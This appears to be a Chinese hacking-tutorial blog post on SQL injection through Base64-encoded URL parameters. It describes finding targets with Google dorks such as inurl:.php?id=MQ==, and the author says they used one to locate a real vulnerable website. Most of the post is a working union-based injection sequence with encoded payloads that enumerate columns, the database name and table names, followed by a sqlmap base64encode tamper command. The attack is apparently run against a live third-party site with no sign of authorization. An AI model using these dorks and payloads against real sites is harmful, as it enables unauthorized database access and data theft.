SQL注入思路扩展

目录

一、资产搜集

二、开始sql注入常规流程

三、sqlmap验证

总结:测试sql注入的时候不要只局限于明文传输,也要注意编码或者加密后的值。

                 还没看够?欢迎关注,带你走进黑客世界,下面也有免费的靶场视频


一、资产搜集

我们都知道sql注入的传参有些是明文的,有些是经过编码或者加密的,所以我们搜索的时候不要仅限于inurl:.php?id=1,可以额外的尝试搜搜1的base64编码值MQ==,即可以搜索inurl:.php?id=MQ==,或者搜索1的md5加密值,即可以搜索inrul:.php?id=a0b923820dcc509a。这样子搜索完,我们可测试的范围就扩大了。此处我就是利用inurl:.php?id=MQ==搜索到了一处存在sql注入的网站。

SQL注入思路扩展_第1张图片

二、开始sql注入常规流程

(1)判断字符型还是数字型


  1. ?id=MQ== (原始值为1)

  2. ?id=MeKAmQ== (原始值为1')

SQL注入思路扩展_第2张图片


 

SQL注入思路扩展_第3张图片


从这两者的反应可以判断出是数字型。
(2)判断是否存在sql注入漏洞


  1. ?id=MSBhbmQgMT0x (原始值1 and 1=1) 有内容

  2. ?id=MSBhbmQgMT0y (原始值1 and 1=2) 没有内容,页面下方空白

SQL注入思路扩展_第4张图片


 

SQL注入思路扩展_第5张图片


可以判断出此处可能存在sql注入。
(3)判断列数


  1. ?id=MSBvcmRlciBieSAz (原始值1 order by 3) 页面内容正常输出

  2. ?id=MSBvcmRlciBieSA0 (原始值1 order by 4) 报错

SQL注入思路扩展_第6张图片


 

SQL注入思路扩展_第7张图片


可以判断列数为3。
(4)判断显错位。


  1. ?id=LTEgdW5pb24gc2VsZWN0IDEsMiwz (原始值-1 union select 1,2,3)

SQL注入思路扩展_第8张图片


显错位为2和3。
(5)在显错位2的位置上尝试获取当前数据库


  1. ?id=LTEgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwz (原始值-1 union select 1,database(),3)

SQL注入思路扩展_第9张图片


(6)获取当前数据库中的表


  1. id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgp

  2. 原始值:-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

SQL注入思路扩展_第10张图片


(7)接下来就是获取其中某一个表的字段名和字段值了,只需将相应的SQL语句进行BASE64编码,然后输入即可。
 

SQL注入思路扩展_第11张图片

三、sqlmap验证

由于传参是需要进行base64编码的,所以此处我们在使用sqlmap的时候需要用到tamper脚本中的base64encode.py脚本,只需要在常规的语句中机上--tamper base64encode.py即可。
 

SQL注入思路扩展_第12张图片


 

SQL注入思路扩展_第13张图片


 

SQL注入思路扩展_第14张图片

SQL注入思路扩展_第15张图片

总结:测试sql注入的时候不要只局限于明文传输,也要注意编码或者加密后的值。

                 还没看够?欢迎关注,带你走进黑客世界,下面也有免费的靶场视频

 免费领取安全学习资料包!一起学习,共同进步icon-default.png?t=N7T8https://docs.qq.com/doc/DRGJHbUxpTWR2Y3lq

你可能感兴趣的:(实纪实战,技术干货,渗透测试,sql,数据库,网络安全,web安全,安全,网络)